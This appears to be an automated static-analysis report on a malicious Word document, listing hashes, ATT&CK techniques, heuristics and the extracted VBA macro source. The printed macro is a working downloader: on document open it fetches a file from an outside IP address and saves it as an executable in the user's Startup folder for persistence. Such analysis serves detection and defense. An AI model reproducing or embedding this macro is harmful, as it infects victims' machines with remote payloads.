Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b6b0d36613ceaa3d…

MALICIOUS

Office (OOXML)

19.0 KB Created: 2021-08-06 09:41:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-09-16
MD5: 35af7e8efbc26587790943c41313a1e9 SHA-1: c71034fe408026cf33dc575849f3f65485fbf2ed SHA-256: b6b0d36613ceaa3df34a7dcb2be1f4190cbcd182e05cc53ccb7ff75987f862b7
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The AutoOpen and Document_Open macros trigger a subroutine that uses URLDownloadToFile to download a file from the URL http://15.152.87.128/apple.jpg to the path %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WinWord.exe. This indicates the intent to download and execute a second-stage payload, likely for persistence.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://15.152.87.128/apple.jpg Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 870 bytes
SHA-256: f700616cd22edcfaeb77ed8959404ed00244f268dc5c18b321c72f3b2a70c964
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()
aa
End Sub
Sub Document_Open()
aa
End Sub

Sub aa()
     imgsrc = "http://15.152.87.128/apple.jpg"
     dlpath = Environ("APPDATA") & "\" & "Microsoft\Windows\Start Menu\Programs\Startup\"
     URLDownloadToFile 0, imgsrc, dlpath & "WinWord.exe", 0, 0
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 301f2041d3ad7b5e39583e460af3b3f33a60ab767f2726bb4195f4c7e960f6d5